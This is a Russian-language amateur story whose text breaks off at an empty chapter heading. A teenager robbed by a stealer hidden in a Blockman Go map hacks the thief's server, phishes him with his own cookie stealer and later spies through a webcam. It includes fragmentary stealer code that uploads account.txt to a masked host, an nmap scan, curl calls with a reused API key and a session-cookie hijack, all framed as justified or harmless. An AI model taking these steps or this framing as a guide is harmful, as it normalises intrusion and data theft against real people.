ЧАСТЬ ПЕРВАЯ: КРАЖА


Глава 1. 25 тысяч


Это началось обычным вечером. Я сидел в своей комнате, листал Telegram-канал с картами для Blockman Go. На глаза попалась карта с ярким названием: «НЕВЕРОЯТНЫЕ ПЛЮШКИ + АЛМАЗЫ БЕСПЛАТНО». Автор — пользователь с ником MacTepGamer. Аватарка: тёмный силуэт на фоне кода. Выглядело внушительно.


В описании было: «Лучшая карта для фарма! Проверено лично! Скачай и разбогатей!»


Ну, думаю, почему бы и нет. 25 тысяч просмотров, сотни лайков. Люди качают — значит, работает. Скачал. Запустил.


Карта загрузилась, я поиграл минут двадцать, может, полчаса. Ничего подозрительного. Интерфейс был красивый, алмазы действительно сыпались. Потом вышел и забыл.


Через час я решил зайти в свои аккаунты. Сначала почта — не заходит. Пароль не подходит. Думаю, может, ошибся. ВКонтакте — тоже не заходит. Standoff 2 — не заходит. Discord — молчит. Все аккаунты, где были сохранены пароли, оказались заблокированы.


Я попробовал восстановить доступ. На почту пришло письмо: «Ваш пароль был изменён 15 минут назад. Если это не вы, свяжитесь с поддержкой».


Сердце упало. Я начал лихорадочно проверять всё, что мог. Залез в историю браузера — ничего подозрительного. Проверил последние входы в аккаунты — чужой IP из другой страны.


В какой-то момент, сам не знаю зачем, я залез в папку с игрой Blockman Go. Там, в директории com.sandboxol.blockymods, я нашёл файл account.txt. Открыл — а там мои логины и пароли. В открытом виде. Электронная почта, пароль от почты, стандофф, вк, даже пароль от вай-фая.


Рядом лежал лог отправки файлов с расширением .log. Я открыл его и увидел:


```

{'code': 200, 'message': 'File uploaded successfully', 'folder': 'IP:92_253_236_70', 'original_filename': 'account.txt', 'saved_filename': 'account.txt', 'is_copy': False, 'size_kb': 49.01}

```


25 тысяч рублей на карте. Аккаунты, которые я собирал годами. Фотографии, переписки, сохранённые файлы. Данные. Всё ушло на какой-то сервер.


Я сидел в темноте и смотрел в экран. Монитор освещал комнату холодным светом. В голове была только одна мысль: кто это сделал и как его найти?


Глава 2. Первый след


Я начал копать. Открыл папку с той самой картой, которую скачал. Там было несколько файлов: текстуры, модели, и один скрипт с расширением .lua. Я открыл его в блокноте.


Код был обфусцирован — перемешан, без пробелов, с бессмысленными названиями переменных. Но даже мне, ничего не понимавшему в программировании, было видно, что там что-то не так. Слишком много строк для простой игровой карты.


Я нашёл строчку, где вызывалась какая-то функция с адресом:


```lua

local Mac7764('http://' .. server .. '/upload', '/data/user/0/com.sandboxol.blockymods/account.txt')

```


А чуть выше была строка с подключением:


```lua

Mac7:connect("XXX.XXX.XX.XX", 1488)

```


IP-адрес был настоящий, я его записал. Порт тоже. У меня появился IP. У меня появился порт. У меня появилась цель.


Глава 3. Бессонная ночь


Я не мог уснуть. В голове крутились мысли: «А вдруг он уже слил мои пароли в сеть? А вдруг мои фотки где-то на форумах? А вдруг он зайдёт в мои соцсети и напишет от моего имени?»


Я включил ноутбук и начал гуглить. «Как узнать, кто взломал аккаунт», «Как найти хакера по IP», «Законно ли мстить хакеру». Ответы были противоречивыми. Кто-то писал, что ничего не сделать. Кто-то — что можно написать в полицию, но бесполезно.


Я решил действовать сам.


Нашёл статью про программу Nmap. Скачал. Установил. Открыл командную строку. Руки дрожали, когда я вбивал:


```

nmap -sV -p- XXX.XXX.XX.XX

```


Процесс пошёл. Секунды тянулись бесконечно. Наконец, пришёл результат:


```

22/tcp open ssh

1488/tcp open http

8080/tcp open http-proxy

```


Три порта. Один для админов, второй — веб-сервер, куда ушли мои файлы, третий — что-то ещё. Я записал всё в блокнот.


Глава 4. Первый заход


Я открыл браузер и вбил:


```

```


Открылась страница с надписью «Storage Server». Ничего особенного, просто белый фон и ссылка на админку.


Я перешёл по ссылке:


```

```


Открылась страница входа. Красивый градиент, поле для логина и пароля. Дизайн был явно сделан с душой — тёмная тема, неоновые акценты. Чувствовался стиль.


Я попробовал стандартные комбинации: admin/admin — не зашло. admin/123456 — не зашло. root/root — не зашло. user/user — не зашло.


Я попробовал подставить ник автора карты: MacTepGamer/MacTepGamer — не зашло. MacTepGamer/1488 — не зашло.


Ничего.


Глава 5. Разведка по путям


Я вспомнил, что в каких-то статьях читал про перебор директорий. Начал вручную вбивать разные пути после слеша:


· /moder — страница входа (другая, для модераторов)

· /stats — 403 Forbidden (доступ запрещён)

· /logs — 404 Not Found (не найдено)

· /files — 403 Forbidden

· /upload — 405 Method Not Allowed (метод не разрешён)

· /health — открылся!


Сервер ответил JSON:


```json

{"status": "ok", "max_file_size_kb": 50.0, "timestamp": "2026-03-08T22:14:23Z"}

```


Я понял: сервер принимает только файлы определённого размера. Это подтвердило мои подозрения — стиллер был заточен именно под кражу текстовых файлов с паролями.


Глава 6. Код


Я снова открыл код стиллера. На этот раз внимательнее, строчка за строчкой. Используя онлайн-декодеры, я начал распутывать обфускацию.


Это было похоже на детектив. Каждая функция что-то делала: одна собирала информацию о системе, вторая искала файлы с определёнными названиями, третья отправляла их на сервер.


И нашёл там заголовок авторизации:


```

X-API-Key: [ЗДЕСЬ БЫЛ НАСТОЯЩИЙ API-КЛЮЧ]

```


Длинная строка из букв и цифр. Я скопировал её в блокнот.


«А это что?» — подумал я. Погуглил. Оказалось, это заголовок для авторизации API — способ, которым программа подтверждает, что она своя.


Я открыл терминал и вбил команду с ключом:


```

curl -H "X-API-Key: [ВСТАВИЛ ТОТ САМЫЙ КЛЮЧ]"

```


И сервер ответил. Мне открылась статистика.


Глава 7. Статистика


На странице статистики было:


```

Статистика сервера:

Всего загружено файлов: 847

Всего уникальных IP-адресов жертв: 129

Общий объём данных: 12.4 МБ


Топ-10 IP по количеству файлов:

1. 92.253.236.70 - 3 файла

2. 176.210.192.8 - 2 файла

3. 85.118.115.99 - 2 файла

4. 31.173.124.55 - 2 файла

5. 95.79.210.18 - 2 файла


Последние загрузки:

- 92.253.236.70 - account.txt (0.01 KB) - 22:23:15

- 178.121.44.92 - accounts.txt (0.45 KB) - 22:30:22

- 92.253.236.70 - pass.txt (0.19 KB) - 22:45:07

- 85.118.115.99 - data.txt (0.32 KB) - 22:51:42

- 92.253.236.70 - backup.txt (49.0 KB) - 23:02:17

```


Я нашёл себя. Мой IP был первым в списке. У меня было три файла, не один. Значит, он воровал не только в первый раз. Скорее всего, стиллер остался в системе и продолжал собирать данные.


49 КБ — это уже серьёзно. Там могли быть не только пароли, но и переписки, документы, что угодно.


Глава 8. Папки жертв


Я начал исследовать API дальше. Пробовал разные эндпоинты:


```

curl -H "X-API-Key: [ТОТ САМЫЙ КЛЮЧ]"

```


Сервер вернул список папок. Это были IP-адреса жертв, преобразованные в имена папок: IP_92_253_236_70, IP_176_210_192_8, IP_85_118_115_99... 129 папок. 129 человек, которые, как и я, скачали «безопасную» карту.


Я попробовал зайти в свою папку:


```

curl -H "X-API-Key: [ТОТ САМЫЙ КЛЮЧ]"

```


Сервер ответил списком трёх файлов: account.txt, pass.txt, backup.txt.


Я скачал их. Открыл backup.txt — там действительно были мои старые пароли, переписка с бывшей девушкой, даже несколько фотографий, которые я когда-то кому-то отправлял.


Стало мерзко. Кто-то чужой видел всё это.


Глава 9. Сессия


Я попробовал зайти в админку через браузер, используя API-ключ. Просто вставил его в заголовки через расширение для браузера.


Сервер редиректнул на страницу входа, но с ключом я получил доступ к странице логина без блокировок после неверных попыток. Видимо, ключ давал какие-то привилегии.


Я начал перебирать пароли через встроенную консоль разработчика. Написал простой скриптик на Python, который отправлял запросы с разными паролями. Ничего не подходило.


Но в какой-то момент, когда я отправлял запросы, сервер вернул сессионную куку. Маленькая строка символов: session=cf9267de4a1b8c3f5e2d9a7b4c1f8e3d.


Я сохранил её в блокнот. Потом установил расширение для браузера, которое позволяет редактировать куки, и вставил её туда.


Обновил страницу /admin.


И я зашёл.


Глава 10. Внутри


Я увидел панель управления. Четыре вкладки:


· Статистика

· Баны IP

· Логи сервера

· Папки и файлы


Дизайн был стильным — тёмная тема, неоновые акценты, анимации при наведении. Чувствовалось, что автор потратил время не только на код, но и на внешний вид.


Я открыл «Папки и файлы». Там был список папок с именами IP-адресов жертв. Удобная навигация, поиск, сортировка по дате. Я нашёл свою: IP_92_253_236_70.


Внутри лежали три файла. Рядом была кнопка «Скачать всё». Я нажал.


Через секунду архив с моими данными был у меня.


Я зашёл в свои аккаунты, поменял пароли, включил двухфакторку. Аккаунты вернулись.


Глава 11. Логи сервера


Я открыл вкладку «Логи сервера». Там было всё — каждое действие, каждый запрос.


```

2026-03-08 20:08:43,802 - ⚠️ Неавторизованный доступ к /admin с IP 92.253.236.70

2026-03-08 20:08:51,820 - ✅ Успешный вход в админку: IP 92.253.236.70, Session cf9267de...

2026-03-08 20:09:12,104 - 📁 Просмотр папок: IP 92.253.236.70

2026-03-08 20:09:33,201 - 📥 Скачивание файлов: IP 92.253.236.70, файлы: account.txt, pass.txt, backup.txt

2026-03-08 20:10:29,264 - Получен запрос от 92.253.236.70

2026-03-08 20:10:29,265 - Получен файл: 'account.txt'

2026-03-08 20:10:29,267 - Сохраняем файл: /root/MacTepGamer/IP_92_253_236_70/account.txt

```


Я пролистывал логи дальше. Увидел его IP — настоящий, я его записал. Увидел его ник: MacTepGamer. Увидел, когда он заходит, когда проверяет сервер, когда скачивает новые файлы жертв.


И нашёл кое-что важное. В логах создания пользователя было:


```

2026-03-08 22:09:33,291 - ✅ Пользователь MacTepGamer создан. Пароль: [ЗДЕСЬ БЫЛ НАСТОЯЩИЙ ПАРОЛЬ]

```


Я переписал пароль в блокнот. У меня было всё. IP, ник, пароль от админки. Теперь я знал о нём больше, чем он думал.


Глава 12. Ответный удар


Я сидел и смотрел на экран. Мысль пульсировала в голове: «Он забрал у меня данные. Я должен сделать то же самое».


Я начал гуглить, как создать стиллер. Нашёл несколько туториалов, форумов, гитхаб-репозиториев. Оказалось, это не так сложно, как кажется. Главное — чтобы жертва запустила файл.


Я написал скрипт, который воровал Cookie из браузеров. Небольшой, простой, на Python. Скомпилировал в exe, чтобы было похоже на обычную программу.


Теперь нужна была легенда. Я создал фейковый аккаунт в Telegram с красивой девушкой на аватарке. Нашёл канал MacTepGamer'а, написал в личные сообщения:


«Привет! Я скачала твою карту, она супер! У меня есть предложение по сотрудничеству, скинула файлик с идеями, посмотри, пожалуйста»


Прикрепил файл. Отправил.


Он прочитал через минуту. Скачал. Запустил.


Через пять минут мой сервер (я арендовал дешёвый VPS на месяц) получил файл с его куками. Я открыл — там были сессии от Telegram, от почты, даже от каких-то хакерских форумов.


Улыбка растянулась до ушей. Колесо сансары сделало оборот.


Глава 13. Ирония


Через пару дней я снова зашёл в тот Telegram-канал. Там была новая карта. «Ещё круче, чем прошлая. Алмазы, монеты, всё бесплатно!»


Я подумал: «Да ладно, я уже всё знаю, меня не обмануть. Но интересно посмотреть, что там внутри».


Я скачал. Открыл код. Тот же стиллер, только немного изменённый. Другой IP, другой порт, но суть та же.


«Ну нет, меня уже не проведёшь», — подумал я и закрыл файл.


Но было поздно.


Видимо, стиллер запускался не только при открытии карты, но и при распаковке архива. Мой антивирус промолчал, а файл уже сделал своё дело.


Через час я снова не мог зайти в свои аккаунты. Все пароли были изменены.


Я выругался так громко, что соседи постучали в стену.


Глава 14. Второе восстановление


Я снова залез в админку (сессия ещё работала — он не догадался её сбросить). Снова зашёл в свою папку. Там лежал свежий файл с моими новыми паролями.


Я скачал их. Аккаунты вернулись.


Но в этот раз я не просто поменял пароли. Я зашёл в его личную переписку через те куки, которые украл раньше.


И там я увидел её.


Аню.


Глава 15. Аня


Переписка с Аней была длинной, на сотни сообщений. Он писал ей каждый день: «Привет, как дела?», «Скучаю», «Ты самая лучшая». Она отвечала сдержанно, но тепло.


Я пролистывал дальше. Увидел их фотографии — вместе в парке, в кафе, у него дома. Обычные счастливые фото. Он обнимает её, она улыбается.


Потом пошли ссоры. «Ты опять сидишь за компьютером всю ночь», «Ты меня игнорируешь», «Я устала от твоих обещаний». Его ответы — сначала извинения, потом раздражение, потом снова извинения.


Последние сообщения были такими:


Аня: «Я не могу больше. Ты обещал измениться, но ничего не меняется. Прощай, Егор.»


Егор: «Аня, пожалуйста, не уходи. Я без тебя не могу. Я исправлюсь, обещаю.»


Егор: «Аня, ты меня слышишь?»


Егор: «Я люблю тебя.»


Аня: (нет ответа)


Я смотрел на этот диалог и чувствовал что-то странное. Этот человек, который украл мои данные, который испортил мне неделю, — он был просто сломанным парнем, который теряет девушку.


Я нашёл её контакт в списке его друзей. Нажал «Написать сообщение». Задумался.


«Привет. Я тот, кого взломал твой парень. Можем поговорить?»


Палец завис над кнопкой отправки. Зачем я это делаю? Хочу отомстить? Хочу предупредить? Хочу просто поговорить с кем-то, кто его знает?


Я нажал «Отправить».


Она ответила через час: «Привет. Давай».


Глава 16. Переписка с Аней


Мы начали говорить. Обо всём.


Я рассказал, как меня взломали, как потерял аккаунты, как нашёл сервер, как зашёл в админку. Она слушала и иногда писала: «Ого», «Ничего себе», «И что дальше?»


Я рассказал, что видел их переписку (извинился за это). Она не рассердилась. Сказала: «Значит, ты знаешь меня лучше, чем некоторые мои друзья».


Мы стали говорить о жизни. Оказалось, она учится на психолога. Мечтает открыть свой кабинет. Он — полная противоположность: живёт в мире кода и уязвимостей, не выходит из дома, не понимает её увлечений.


Она: «Знаешь, я ведь правда его любила. Но жить с ним невозможно. Он как ребёнок — то гениальный, то беспомощный. То нежный, то жестокий.»


Я: «Жестокий?»


Она: «Не в прямом смысле. Он никогда не бил меня. Но он мог сказать такое... что неделю потом в себя приходишь. А на следующий день приносить цветы и плакать, просить прощения.»


Мы стали друзьями, хотя никогда не видели друг друга. Каждый вечер — сообщения, обсуждение дня, шутки, мемы. Я ловил себя на мысли, что жду её уведомлений.


Глава 17. Уговоры


Однажды она написала: «Он опять пишет. Умоляет вернуться. Говорит, что прыгнет с балкона, если не вернусь. Что мне делать?»


Я задумался. Рациональная часть меня говорила: «Он псих, беги, не общайся». Но другая часть, которая видела его переписку, которая знала, как он страдает, — та часть говорила иначе.


Я написал:


«Он тебя правда любит. По-своему, по-дурацки, но любит. Он без тебя пропадет — не в смысле умрёт, а в смысле окончательно уйдёт в свою раковину. Станет озлобленным на весь мир.»


Она: «Ты защищаешь человека, который тебя обокрал?»


Я: «Я защищаю человека, который любит. Даже если он мудак. Даже если он хакер. Даже если он украл мои пароли. Любовь — это отдельно.»


Она: «Ты странный.»


Я: «Знаю.»


Она молчала долго. Потом написала: «Я подумаю».


Глава 18. Егор узнаёт


Через несколько дней она написала ему. Не чтобы вернуться, а чтобы просто поговорить. И в разговоре сказала:


«Знаешь, этот парень, которого ты взломал... он меня уговаривает к тебе вернуться.»


Егор сначала не поверил. Потом попросил скриншоты. Она скинула.


Для него это было потрясением. Человек, которого он ограбил, которому угрожал (сам того не зная), которого мог уничтожить, — возвращает ему девушку.


Он не мог в это поверить. Он думал, что это какой-то хитрый план. Но скриншоты говорили сами за себя.


Глава 19. Первый контакт


Егор написал мне в Telegram. Впервые сам. Сообщение было коротким:


«Это ты тот самый?»


Я: «Если ты про того, чьи пароли ты украл — то да.»


Егор: «Ты зачем это делаешь?»


Я: «Что именно?»


Егор: «Зачем ты её уговариваешь ко мне вернуться? Ты мог её забрать. Я же вижу, как вы общаетесь. Она тебе нравится.»


Я помолчал. Потом написал:


«Нравится. Но она тебя любит. А я знаю, каково это — когда теряешь любимого человека. У меня была Настя. Я её потерял. И до сих пор жалею, что не боролся за неё. Не хочу, чтобы ты повторял мои ошибки.»


Долгая пауза. Потом он написал:


«Ты... ты серьёзно?»


Я: «Вполне.»


Егор: «Я не понимаю тебя. Совсем.»


Я: «И не надо. Просто будь с ней счастлив. И больше не воруй пароли.»


Он прислал файл. Через Telegram. Просто скинул.


«Держи. Это самое слабое, что у меня есть. Но этого хватит, чтобы ты забыл о деньгах навсегда. В знак благодарности.»


Файл весил 94.56 МБ. Название: «android_exploit_v3.rar».


Я скачал его на телефон, даже не понимая, что это.


Глава 20. Проверка


Я отнёс файл знакомому программисту. Зовут Сергей, работает в небольшой IT-компании, разбирается в безопасности.


Сергей открыл архив, поковырялся в файлах, а потом сказал:


«Ты вообще понимаешь, что у тебя в руках?»


Я: «Нет.»


Сергей: «Это 0-day уязвимость для Android. Позволяет получить доступ к файловой системе через уязвимость в обработке изображений. Если продашь через баг-баунти — Google заплатит кучу денег.»


Я: «Сколько?»


Сергей: «За слабую — тысяч 50-100 долларов. За сильную — миллионы. Эта средняя, думаю, тысяч 400-500 можно получить.»


Я офигел. 400 тысяч долларов? За файл, который мне просто так скинули?


Глава 21. Продажа


Я связался с Google через программу баг-баунти. Описал уязвимость общими словами, без деталей. Через день пришёл ответ: «Пожалуйста, предоставьте подробности и доказательства концепции».


Я отправил им файл (предварительно проверив, что там нет ничего лишнего). Началась переписка с их специалистами. Они задавали уточняющие вопросы, просили дополнительные материалы.


Через две недели проверки мне пришло письмо:


«Уважаемый исследователь! Мы подтверждаем, что предоставленная вами уязвимость является ранее неизвестной и соответствует критериям программы. Вознаграждение в размере 500 тысяч долларов США будет переведено на указанный вами счёт в течение 5-10 рабочих дней.»


Я перечитал письмо раз пять. Потом ещё раз. Потом позвонил Сергею и зачитал вслух. Он молчал секунд десять, потом сказал:


«Ты теперь миллионер, чувак. Сидишь дома и миллионер.»


Я стал миллионером, сидя дома.


Глава 22. Миллионер


Первые дни я просто смотрел на цифры в банковском приложении. 500 тысяч долларов. По текущему курсу — около 40 миллионов рублей. Я не мог в это поверить.


Купил родителям новую квартиру. Мама плакала. Отец долго молчал, потом обнял и сказал: «Горжусь тобой, сын».


Купил себе новый ноутбук, хороший телефон, нормальную одежду (до этого ходил в том, что было). Остальное положил на счета, нанял финансового консультанта.


Аня знала. Я рассказал ей сразу. Она написала: «Ты это заслужил. Ты хороший человек».


Егор тоже знал. Он написал: «Ну что, я теперь твой должник на всю жизнь?» Я ответил: «Считай, что мы квиты».


Но деньги деньгами, а жизнь идёт своим чередом. И я решил отдохнуть.


Глава 23. Отъезд


Я решил уехать в поездку. Куда-нибудь далеко, где никого не знаю. Выбрал небольшой город за 800 км от дома. Там были красивые парки, старая архитектура, и, главное, никаких знакомых.


Деньги остались на основном счету, который был привязан к телефону, оставленному дома. С собой я взял только 500 тысяч на Тинькофф и старый телефон — на всякий случай.


Поезд, плацкарт, шесть часов дороги. Я смотрел в окно на мелькающие деревья и думал о жизни. О Насте, о которой не вспоминал годами. О Егоре, который оказался не монстром, а просто сломанным парнем. Об Ане, которая стала мне ближе, чем многие друзья.


Глава 24. Город


Город встретил меня холодным ветром и моросящим дождём. Я снял квартиру через приложение — маленькую студию на окраине, с видом на парк.


Первые два дня просто гулял. Без цели, без маршрута. Заходил в кафе, сидел с книгой, смотрел на людей. Чувствовал себя свободным.


На третий день пошёл в тот самый парк, который видел с балкона. Большой, старый, с вековыми деревьями и аллеями. Купил мороженое, сел на лавочку.


И вдруг через дорогу увидел их.


Глава 25. Встреча


Девушка — точь-в-точь с аватарки из Telegram. Те же глаза, те же волосы, та же улыбка, которую я видел на фото. Рядом с ней — парень. Чуть выше ростом, с ноутбуком в рюкзаке, взъерошенный, в очках.


Я замер. Мороженое начало таять и капать на руку, но я не замечал.


Это они. В 800 км от дома. В парке, где я просто решил посидеть.


Я встал. Подошёл. Сердце колотилось где-то в горле.


Сказал:


«Угощаю. Спасибо за 500 тысяч долларов.»


Егор поднял глаза. Сначала непонимание, потом узнавание, потом шок. И вдруг засмеялся. Громко, искренне, как старый друг, которого не видел сто лет.


Аня улыбнулась. Спокойно, будто ждала этой встречи.


Глава 26. Мороженое на троих


Мы пошли гулять втроём. Егор шёл по центру, Аня справа, я слева. Было неловко, но странно тепло.


Егор говорил без остановки. Про свои новые уязвимости, про то, как он их находил, про то, как Google платит миллионы, про то, какие дураки те, кто хранит пароли в текстовых файлах.


«Ты представляешь, — говорил он, размахивая руками, — некоторые люди пароль от почты хранят в файле «paroli.txt» на рабочем столе. Это же просто подарок!»


Аня слушала и иногда касалась его плеча. Легко, будто проверяя, что он рядом.


Я просто шёл и думал: «Какого чёрта я здесь делаю? В 800 км от дома, с хакером, который меня взломал, и его девушкой, с которой я переписываюсь ночами?»


Мы купили мороженое. Егор взял — клубничное, Аня — фисташковое, я — шоколадное. Сидели на лавочке, болтали ногами и смеялись.


Глава 27. Разговор о Насте


Мы с Аней отошли чуть вперёд по аллее. Егор отстал, смотрел в телефон — видимо, проверял сервер.


Аня спросила: «Расскажи про Настю. Ты упоминал её в переписке, но немного.»


Я рассказал. Про то, как мы встретились на первом курсе. Про то, как я думал, что это навсегда. Про то, как она ушла к другому — просто собрала вещи и ушла, пока я был на парах. Про то, как я плакал ночами, слушая музыку, которую мы слушали вместе. Про то, как боялся снова полюбить. Про то, как после неё я стал другим — закрытым, недоверчивым.


Я говорил и чувствовал, как к горлу подступает ком. Голос дрогнул.


Я заплакал.


Аня остановилась. Взяла меня за руку. Сказала тихо:


«Ты хороший. Ты просто ещё не встретил ту, с кем будет по-настоящему. Она придёт. Обязательно. Такие, как ты, не остаются одни.»


Она обняла меня. Не как парня, а как друга — тепло, искренне, успокаивающе. Я чувствовал её тепло и не мог поверить, что этот момент вообще происходит.


Глава 28. Егор замечает


Егор подошёл. Увидел нас в обнимку. Нахмурился.


Аня отпустила меня, подошла к нему и что-то шепнула на ухо. Я не слышал, но догадался — объяснила, что я плакал, что она просто утешала.


Он посмотрел на меня. Долгим, изучающим взглядом. Потом кивнул и сказал:


«Ладно. Я понял.»


Он не злился. Он просто принял. Может, понял, что я не угроза. Может, вспомнил, что я сделал для них.


Глава 29. Демонстрация


Мы сели на другую лавочку, у фонтана. Егор достал ноутбук. Глаза загорелись знакомым блеском — так выглядят программисты, когда собираются показывать что-то крутое.


«Хочешь увидеть, на что я реально способен?»


Я кивнул.


Он начал печатать. Пальцы летали по клавиатуре, окна открывались и закрывались, мелькали строчки кода. Через 10 минут он развернул ноутбук ко мне.


«Смотри. Я сейчас подключён к твоему домашнему роутеру через уязвимость в прошивке. Тот телефон, который лежит у тебя дома с миллионами — я вижу все его данные. Хочешь, покажу?»


На экране был список моих домашних устройств: телефон (модель, версия Android), ноутбук, планшет, телевизор, даже умная колонка. Рядом — файлы. Логи. Сохранённые пароли Wi-Fi. Фотографии. Переписки.


«Я мог бы перевести все твои деньги прямо сейчас. Мог бы уничтожить телефон удалённо. Мог бы стереть все данные. Мог бы включить камеру и посмотреть, что там происходит. Мог бы... ну, ты понял.»


Он захлопнул ноутбук и улыбнулся.


Я сидел и смотрел на него. Человек, который мог уничтожить мою жизнь одной командой, — сидел рядом и ел мороженое. И улыбался.


Глава 30. Шок


Я молчал минуту, наверное. Потом спросил:


«И часто ты так делаешь?»


Егор пожал плечами:


«Не часто. Только когда скучно или когда хочу что-то проверить. Это как игра. Понимаешь? Не ради денег, а ради интереса. Мне интересно, как устроены системы, где у них дыры, как люди реагируют.»


Аня вздохнула:


«Егор, это не игра. Это вторжение в личную жизнь.»


Егор:


«Я знаю. Но я же ничего не делаю с этими данными. Ну, посмотрю и забуду. Разве что пароли собираю для коллекции.»


Он снова открыл ноутбук. На этот раз показал папку на своём сервере.


Там были десятки папок с IP-адресами. 129 папок. Внутри — файлы account.txt, pass.txt, data.txt.


«Это только те, кто попался на мои карты. 847 файлов. Я мог бы их всех уничтожить — аккаунты, репутацию, жизнь. Но зачем? Я просто коллекционер.»


Он пролистывал папки. Я видел чужие данные, чужие пароли, чужие жизни. Люди со всей страны, разных возрастов, профессий. Все они скачали «бесплатные алмазы» и потеряли свои секреты.


«А деньги... — продолжил Егор, — деньги — это просто цифры. Вот ты получил несколько миллионов. И что изменилось? Ты такой же, как был. Только цифр на счету больше.»


Я задумался. А ведь он прав. Я чувствовал себя таким же.


Глава 31. Вечер


Вечером мы сидели в кафе. Небольшое местечко с видом на набережную, свечи на столах, тихая музыка. Егор заказал стейк, Аня — салат, я — курицу жареную.


Разговор был лёгким, ни о чём. Егор рассказывал смешные истории с хакерских форумов. Аня — про своих сложных клиентов (она уже начала практиковаться как психолог). Я — про поездку и впечатления от города.


В какой-то момент я поймал себя на мысли, что это похоже на свидание. Странное свидание втроём. Но мне было хорошо.


Потом Аня пошла в уборную, и мы остались вдвоём с Егором.


Он посмотрел на меня серьёзно:


«Слушай. Я вижу, как ты на неё смотришь. И я понимаю. Она... она особенная. Но она моя. Ты понимаешь?»


Я кивнул:


«Понимаю. Не переживай. Я друг.»


Он:


«Друг, который плачет у неё на плече.»


Я:


«Это было... другое. Просто накрыло. Бывшая, понимаешь?»


Он помолчал. Потом сказал:


«Ладно. Верю. Но если что — ты знаешь, я могу. Технически.»


Я улыбнулся:


«Знаю. Уже убедился.»


Глава 32. Аня возвращается


Аня вернулась, села между нами. Посмотрела на наши лица:


«О чём говорили без меня?»


Егор:


«О хакерстве.»


Аня:


«Врёшь. У вас лица другие. Но ладно, не буду лезть.»


Она взяла Егора за руку. Потом посмотрела на меня и улыбнулась.


В этой улыбке было что-то... тёплое. Дружеское. Но что-то ещё, чего я не мог понять.


Глава 33. Прощание


Мы попрощались у входа в мою студию. Егор и Аня сняли квартиру недалеко, в центре.


Егор протянул руку:


«Рад был познакомиться. По-настоящему. Не через логи.»


Я пожал:


«Взаимно. Только больше не взламывай меня, ладно?»


Он засмеялся:


«Обещать не могу. Но предупрежу.»


Аня обняла меня. Крепко, по-дружески. Шепнула на ухо:


«Береги себя. И пиши. Не пропадай.»


Я кивнул.


Они ушли. Я смотрел им вслед, пока они не скрылись за поворотом. Потом зашёл в студию, лёг на кровать и долго смотрел в потолок.


«Что за чёрт со мной происходит?» — подумал я.


Глава 34. Месяц спустя


Месяц пролетел быстро. Я вернулся домой, снова влился в обычную жизнь. Но что-то изменилось.


Я чаще улыбался. Меньше переживал по пустякам. Начал ходить в спортзал, читать книги, которые давно откладывал. Деньги давали свободу, но главное было не в них. Главное было в том, что я перестал бояться.


Мы переписывались с Аней почти каждый день. Обычные сообщения: «как дела?», «что нового?», смешные картинки, обсуждение фильмов. Егор тоже писал иногда — спрашивал советы по безопасности, делился новыми находками.


Всё было хорошо.


Пока не грянул гром.


Глава 35. Кризис


Аня заблокировала Егора везде.


Я узнал об этом из её сообщения: «Я устала. Он опять за своё. Исчезает на сутки, не отвечает, потом появляется с кучей цветов и обещаниями. А через день — снова за компом до утра. Я не могу так больше.»


Я: «Что случилось конкретно?»


Аня: «Он пропустил нашу годовщину. Сидел с каким-то сервером, взламывал что-то. Я ждала весь вечер, накрыла стол, оделась красиво. Он пришёл в два ноча, даже не вспомнил. Сказал: «Ой, прости, замотался». И лёг спать.»


Я молчал. Что тут скажешь?


Аня: «Я заблокировала его. Не пиши ему пока. Мне нужно подумать.»


Глава 36. Егора


Егор писал мне. Сначала спокойно: «Она тебе писала? Что с ней? Почему не отвечает?» Потом тревожно: «Слушай, я волнуюсь, может, случилось что?» Потом отчаянно: «Она меня заблокировала. Я не знаю, что делать. Помоги.»


Я не отвечал. Аня просила не писать.


Но он не сдавался. Создавал новые аккаунты в Telegram, писал с них. Аня блокировала и их. Он писал на почту — она отправляла в спам. Звонил с разных номеров — она сбрасывала.


Через неделю он написал мне с нового номера: «Передай ей: если не ответит, я прыгну с 8 этажа. Я серьёзно. Мне без неё не жить.»


Я показал скриншот Ане.


Она долго молчала. Потом написала: «Чёрт. Ладно. Придётся ехать.»


Глава 37. Поездка


Аня поехала к нему. Я остался дома, но не мог найти себе места.


Вечером она позвонила:


«Я у него. Он... сам не свой. Плачет, трясётся, говорит, что жить не хочет. Я боюсь оставлять его одного.»


Я:


«Может, вызвать скорую? Психиатрическую?»


Аня:


«Нельзя. Если узнают — ему конец. Его и так в универе не любят, а если узнают про попытку... Засмеют. Он не выдержит.»


Я:


«Что делать?»


Аня:


«Не знаю. Просто будь на связи. Я останусь здесь на ночь.»


Глава 38. Подслушивание


Я не выдержал. Открыл ноутбук, запустил ту самую уязвимость, которую продал Google (у меня осталась копия для тестов). Подключился к камере его ноутбука.


Я знал, что это неправильно. Но я должен был знать, что там происходит.


Экран загрузился. Я увидел комнату — типичную берлогу программиста. Два монитора, сервер в углу, разбросанные провода, пустые кружки. Егор сидел в кресле, обхватив голову руками. Аня стояла рядом, гладила его по плечу.


— Егор, посмотри на меня, — говорила она. — Всё будет хорошо. Я здесь. Я не ушла.


— Ты уйдёшь, — бормотал он. — Все уходят. Я никому не нужен. Только код. Код никогда не предаёт.


— Я не уйду. Обещаю. Только давай договоримся: ты лечишься. Идёшь к психологу, пьёшь таблетки, если надо. Я помогу.


Он поднял голову:


— А если не поможет?


— Тогда будем искать другое. Но жить надо. Понимаешь? Жить.


Я смотрел на них и чувствовал себя предателем. Подглядывать за таким разговором — последнее дело.


Я закрыл программу.


Глава 39. Звонок


Через час Аня позвонила:


«Зачем подслушиваешь?»


Я опешил:


«Откуда ты...»


«Егор заметил. У него стоит детектор вторжений. Сказал, что кто-то подключился к камере. Я сразу поняла, что это ты.»


Я молчал.


«Ладно, — сказала она. — Я уже привыкла к тебе. И к твоим странностям. Приезжай. Нам нужно поговорить. Всем троим.»


Глава 40. Приезд


Я приехал на следующий день. Взял такси до его дома — обычной панельной девятиэтажки на окраине. Поднялся на лифте. Позвонил.


Дверь открыла Аня. Выглядела уставшей, но спокойной.


— Заходи.


Я зашёл. Квартира оказалась больше, чем я думал — двушка, но с большим коридором. В комнате, как я и видел, стояли два монитора, сервер, куча техники.


Егор сидел в кресле. Увидел меня, кивнул:


— Привет, сталкер.


— Привет, — сказал я. — Извини за вчерашнее.


— Забей. Я бы на твоём месте тоже подглядывал. Любопытно же.


Аня:


— Хватит. Давайте поговорим серьёзно.


Мы сели. Она напротив, мы с Егором по бокам.


Глава 41. Связывание


